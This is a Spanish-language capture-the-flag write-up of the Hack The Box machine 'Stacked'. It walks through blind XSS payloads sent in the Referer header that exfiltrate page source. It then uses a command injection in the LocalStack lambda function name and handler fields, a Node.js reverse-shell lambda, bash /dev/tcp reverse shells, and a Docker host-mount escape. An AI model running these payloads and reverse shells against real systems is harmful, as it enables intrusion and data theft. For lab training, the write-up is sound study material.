Skip to content

Stacked⭐

#htb #linux #aws #docker #iam #lambdas #rce #writeup

bash
sudo nmap 10.129.228.28 -sS -p- -n -Pn --min-rate 5000 --open -oG allPorts -vvv
bash
sudo nmap 10.129.228.28 -p22,80,2376 -sCV -oN targeted
bash
echo '10.129.228.28   stacked.htb' >> /etc/hosts

El puerto 80 tiene la típica página estática.

Fuzzemos subdominios.

bash
ffuf -u http://stacked.htb -H "Host: FUZZ.stacked.htb" -w /usr/share/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt  -mc all -ac -t 150

Añadimos portfolio al hosts

Hay un botón de descarga de un docker-compose.yml

yml
version: "3.3"

services:
  localstack:
    container_name: "${LOCALSTACK_DOCKER_NAME-localstack_main}"
    image: localstack/localstack-full:0.12.6
    network_mode: bridge
    ports:
      - "127.0.0.1:443:443"
      - "127.0.0.1:4566:4566"
      - "127.0.0.1:4571:4571"
      - "127.0.0.1:${PORT_WEB_UI-8080}:${PORT_WEB_UI-8080}"
    environment:
      - SERVICES=serverless
      - DEBUG=1
      - DATA_DIR=/var/localstack/data
      - PORT_WEB_UI=${PORT_WEB_UI- }
      - LAMBDA_EXECUTOR=${LAMBDA_EXECUTOR- }
      - LOCALSTACK_API_KEY=${LOCALSTACK_API_KEY- }
      - KINESIS_ERROR_PROBABILITY=${KINESIS_ERROR_PROBABILITY- }
      - DOCKER_HOST=unix:///var/run/docker.sock
      - HOST_TMP_FOLDER="/tmp/localstack"
    volumes:
      - "/tmp/localstack:/tmp/localstack"
      - "/var/run/docker.sock:/var/run/docker.sock"

Probamos un path traversal

HTTP
GET /files/../../../../../../../../../../../etc/passwd HTTP/1.1

Probamos fuzzing con gobuster, con extensiones .php también :

process.php tiene que ver con el formulario de contacto, probamos a enviar algún XSS a ver si recibimos alguna petición.

HTTP
POST /process.php HTTP/1.1
Host: portfolio.stacked.htb
Content-Length: 76
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

fullname=ts&email=test@test.com&tel=346555668333&subject=<img src=http://10.10.17.48>&message=<img src=http://10.10.17.48>

Probamos también a fuzzear /files

bash
gobuster dir -u http://portfolio.stacked.htb/files/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -t 150 -x php,txt,bak,yml

Además también estaba el puerto 2376 de docker, que es el típico puerto de docker pero TLS.

Probamos a conectarnos pero parece ser que el servidor nos pide un certificado que no tenemos

bash
curl -k https://10.129.228.28:2376/containers/json -vI
* TLSv1.3 (IN), TLS handshake, Request CERT (13):

Probamos a fuzzear stacked.htb

En /sass no parece haber nada.

Volvemos al formulario de contactoy probamos otros payloads de XSS , con algunos payloads nos tira este error:

json
{"success":false,"error":"XSS detected!"}

Vamos a tratar de bypassear este filtro:

Primero tratamos de fuzzear por caracteres : All printable ASCII for Burp Intruder #python >>> import strings >>> for i in string.printable: ... print i · GitHub y parece ser que están todos permitidos.

A continuación fuzzeamos por etiquetas y hay unas cuantas que nos detectan Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy

A continuación fuzzeamos por eventos usando la etiqueta <svg> por ejemplo

Lamentablemente todos nos tiran error.

La idea sería ir iterando sobre todas las etiquetas que no dan error e ir metiendo al intruder los payloads a ver si hay algún payload que no tire error.

Tras varias pruebas encontramos que todos los eventos se están bloqueando, más que nada se está buscando on dentro de la etiqueta

HTML
<img on>

Además otras formas de ejecutar sin eventos parecen fallar, por ejemplo

HTML
javascript:

Probamos ya cosas más avanzadas sin éxito:

html
<IMG SRC=java\0script:fetch('http://10.10.14.33/test.png')>

Probamos en la cabecera Referer si hay suerte

HTTP
Referer: "><img src='http://10.10.14.33/test.png'>
bash
python3 -m http.server 80

Y efectivamente a los 2 minutos recibimos una petición, se trata de un Blind XSS

Para ver más info de la petición entrante nos ponemos en escucha con netcat, en vez de con python

bash
nc -lvnp 80
HTTP
GET /test.png HTTP/1.1
Host: 10.10.14.33
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://mail.stacked.htb/read-mail.php?id=2
Connection: keep-alive

Añadimos mail al /etc/hosts pero no tenemos alcance.

La idea va a ser ir a ciegas y enviarse el código fuente de la página de mail

HTML
"><script>fetch("http://10.10.14.33",{method:"POST",body:btoa(document.documentElement.outerHTML)})</script>

Después de un rato largo nos acaba llegando

Es algo así si lo cargamos desde el navegador

Probamos a leernos read-mail.php :

HTML
<script>fetch("http://mail.stacked.htb/read-mail.php").then(r=>r.text()).then(d=>fetch("http://10.10.14.33:80",{method:"POST",body:btoa(d)}))</script>

Resulta que read-mail.php es la misma que hemos capturado antes

Vamos a tratar de leer http://mail.stacked.htb/read-mail.php?id=1

HTML
"><script>fetch("http://mail.stacked.htb/read-mail.php?id=1").then(r=>r.text()).then(d=>fetch("http://10.10.14.33:80",{method:"POST",body:btoa(d)}))</script>

Vemos el siguiente correo:

Lo añadimos al hosts , parece que hay un LocalStack

bash
curl http://s3-testing.stacked.htb/health -s
json
{
  "services": {
    "cloudformation": "running",
    "cloudwatch": "running",
    "dynamodb": "running",
    "dynamodbstreams": "running",
    "iam": "running",
    "sts": "running",
    "kinesis": "running",
    "lambda": "running",
    "logs": "running",
    "s3": "running",
    "apigateway": "running"
  }
}

Parece ser que no podemos listar buckets

bash
aws s3 ls --endpoint-url http://s3-testing.stacked.htb --no-sign-request

Parece que los IAM si los podemos enumerar

bash
aws iam get-account-authorization-details --endpoint-url http://s3-testing.stacked.htb --region eu-east-1

Pero efectivamente, como decía el correo, ni usuarios ni grupos están configurados.

Tratamos de listar el resto de servicios.

Como nos dice el correo, solo podemos correr instancias de nodo.

Podemos crear lambdas con código node-js

javascript
const { exec } = require('child_process');

exports.handler = (event, context, callback) => {
    // Comando de Reverse Shell
    const command = 'bash -c "bash -i >& /dev/tcp/10.10.14.33/4444 0>&1"';

    exec(command, (error, stdout, stderr) => {
        if (error) {
            callback(error);
            return;
        }
        callback(null, stdout);
    });
};
bash
zip function.zip index.js
bash
aws lambda create-function \
    --endpoint-url http://s3-testing.stacked.htb \
    --function-name shell \
    --runtime nodejs12.x \
    --handler index.handler \
    --memory-size 128 \
    --zip-file fileb://function.zip \
    --role arn:aws:iam::123456789012:role/lambda-role
bash
nc -vlnp 4444
bash
aws lambda invoke \
    --endpoint-url http://s3-testing.stacked.htb \
    --function-name shell \
    output.txt

Una vez dentro tratamos de listar las variables de entorno, pero no hay creds.

Escaneamos puertos del host, pero vemos lo mismo

bash
#!/bin/bash

function ctrl_c(){
	echo -e "\n\n[!] Saliendo ..."
	tput cnorm
	exit 1
}

trap ctrl_c INT

#ip=$(hostname -I | sed 's/\.[^.]*$//')
ip=$1

#tput civis

for port in $(seq 1 65535); do
	(timeout 1 echo '' > /dev/tcp/$ip/$port) &>/dev/null && echo -e "\t[+] Puerto $port activo"
done

#tput cnorm
bash
./portScan.sh 172.17.0.1
	[+] Puerto 22 activo
	[+] Puerto 80 activo
	[+] Puerto 2376 activo

A continuación buscamos la versión de LocalStack que habíamos sacado antes del docker-compose.yml

localstack/localstack-full:0.12.6

Buscamos vulnerabilidades para la versión:

https://www.sonarsource.com/blog/hack-the-stack-with-localstack/

Encontramos que hay un Command Injection en la interfaz web , pero no tenemos acceso a la interfaz Web desde fuera ni desde el docker de la lambda.

Solo tendremos acceso desde el Blind XSS y hay que tener en cuenta que por política CORS solo vamos a poder enviar la petición, pero no ver la respuesta, lo cuál nos sirve en este caso.

Si leemos el código vulnerable

python
85    @app.route('/lambda/<functionName>/code', methods=['POST'])
86    def get_lambda_code(functionName):
...
98        result = infra.get_lambda_code(func_name=functionName, env=env)
python
258    def get_lambda_code(func_name, retries=1, cache_time=None, env=None):
...
264        out = cmd_lambda('get-function --function-name %s' % func_name, env, cache_time)
python
596    def run(cmd, print_error=True, stderr=subprocess.STDOUT, env_vars=None, inherit_cwd=False, inherit_env=True):
...
613        output = subprocess.check_output(cmd, shell=True, stderr=stderr, env=env_dict, cwd=cwd)

Deducimos que del nombre de la función lambda se puede ejecutar RCE

test;touch sonarsource.txt

Si miramos el docker-compose.yml

yml
"127.0.0.1:${PORT_WEB_UI-8080}:${PORT_WEB_UI-8080}"

La interfaz de gestión está en el 8080, vamos a probar algo así

html
"><script>fetch("http://127.0.0.1:8080/lambda/test;ping+10.10.14.33/code",{method:"POST"}).then(r=>r.text()).then(d=>fetch("http://10.10.14.33:80",{method:"POST",body:btoa(d)}))</script>

SI recibimos un ping es que ha funcionado

bash
sudo tcpdump -i tun0 icmp

Recibimos esta respuesta pero no recibimos un ping

HTML
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>

Probamos a url encodearlo de esta forma:

HTML
"><script>fetch("http://127.0.0.1:8080/lambda/test;ping%20-c%202%2010.10.14.33/code",{method:"POST"}).then(r=>r.text()).then(d=>fetch("http://10.10.14.33:80",{method:"POST",body:btoa(d)}))</script>

Después de leer un poco más resulta que no tenemos que pasar el nombre de la función directamente a la petición POST, sino que tenemos que crear la función y cuando la interfaz web 8080 se cargue entonces se pasará al código vulnerable: El \{$IFS} es un separador universal para linux y para que llegue intacto hay que ponerle la \

bash
aws lambda create-function \
    --endpoint-url http://s3-testing.stacked.htb \
    --function-name "api;wget\${IFS}10.10.14.33/exploit.sh;bash\${IFS}exploit.sh" \
    --runtime nodejs12.x \
    --handler index.handler \
    --memory-size 128 \
    --zip-file fileb://function.zip \
    --role arn:aws:iam::123456789012:role/lambda-role
bash
echo '/bin/bash -i >& /dev/tcp/10.10.14.33/4444 0>&1' > exploit.sh

Y ahora habría que hacer que el usuario acceda a la interfaz web

html
Referer: "><script>document.location="http://127.0.0.1:8080"</script>

Normalizamos la shell

Y somos el usuario localstack y estamos en un docker

Tratamos de listar variables de entorno y buscar alguna carpeta que se llame .aws

bash
find / -type d -name ".aws" 2>/dev/null

Como hay muchos puertos abiertos nos cargamos el ligolo

bash
go build -o agent /cmd/agent/main.go

Nos lo llevamos a la máquina

bash
sudo ip tuntap add user <Your Username> mode tun ligolo

sudo ip link set ligolo up
bash
ligolo-proxy -selfcert

Tenemos que compilar el agente estáticamente porque sino no encuentra las librerías

bash
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o agent -ldflags "-s -w" cmd/agent/main.go
bash
./agent -connect 10.10.14.33:11601 -ignore-cert

Seleccionamos start

bash
sudo ip route add 172.17.0.0/16 dev ligolo

En el 8081

Pero todo parecen ser rabbit holes

Si creamos una nueva lambda y la ejecutamos se ve este comando

bash
2026/01/22 16:37:47 CMD: UID=0     PID=1141   | /bin/sh -c CONTAINER_ID="$(docker create -i   -e DOCKER_LAMBDA_USE_STDIN="$DOCKER_LAMBDA_USE_STDIN" -e LOCALSTACK_HOSTNAME="$LOCALSTACK_HOSTNAME" -e EDGE_PORT="$EDGE_PORT" -e _HANDLER="$_HANDLER" -e AWS_LAMBDA_FUNCTION_TIMEOUT="$AWS_LAMBDA_FUNCTION_TIMEOUT" -e AWS_LAMBDA_FUNCTION_NAME="$AWS_LAMBDA_FUNCTION_NAME" -e AWS_LAMBDA_FUNCTION_VERSION="$AWS_LAMBDA_FUNCTION_VERSION" -e AWS_LAMBDA_FUNCTION_INVOKED_ARN="$AWS_LAMBDA_FUNCTION_INVOKED_ARN" -e AWS_LAMBDA_COGNITO_IDENTITY="$AWS_LAMBDA_COGNITO_IDENTITY" -e NODE_TLS_REJECT_UNAUTHORIZED="$NODE_TLS_REJECT_UNAUTHORIZED"   --rm "lambci/lambda:nodejs12.x" "index.handler")";docker cp "/tmp/localstack/zipfile.4e5524b8/." "$CONTAINER_ID:/var/task"; docker start -ai "$CONTAINER_ID";

El handler es también vulnerable a Code Injection

bash
aws lambda --endpoint=http://s3-testing.stacked.htb create-function --region eu-west-1 --function-name "testfunction2" --runtime nodejs8.10 --handler 'lambda.apiHandler $(/bin/bash -c "bash -i &>/dev/tcp/10.10.14.33/9999 0>&1")' --memory-size 128 --zip-file fileb://api-handler.zip --role arn:aws:iam::123456:role/irrelevant
bash
aws lambda --endpoint=http://s3-testing.stacked.htb invoke --region eu-west-1 --function-name "testfunction2" out

Normalizamos la shell

Podemos crearnos un nuevo contenedor que tenga montado /

bash
docker run -v /:/mnt --entrypoint sh -it 0601ea177088

Y leer la flag de root.

Notas personales de seguridad ofensiva.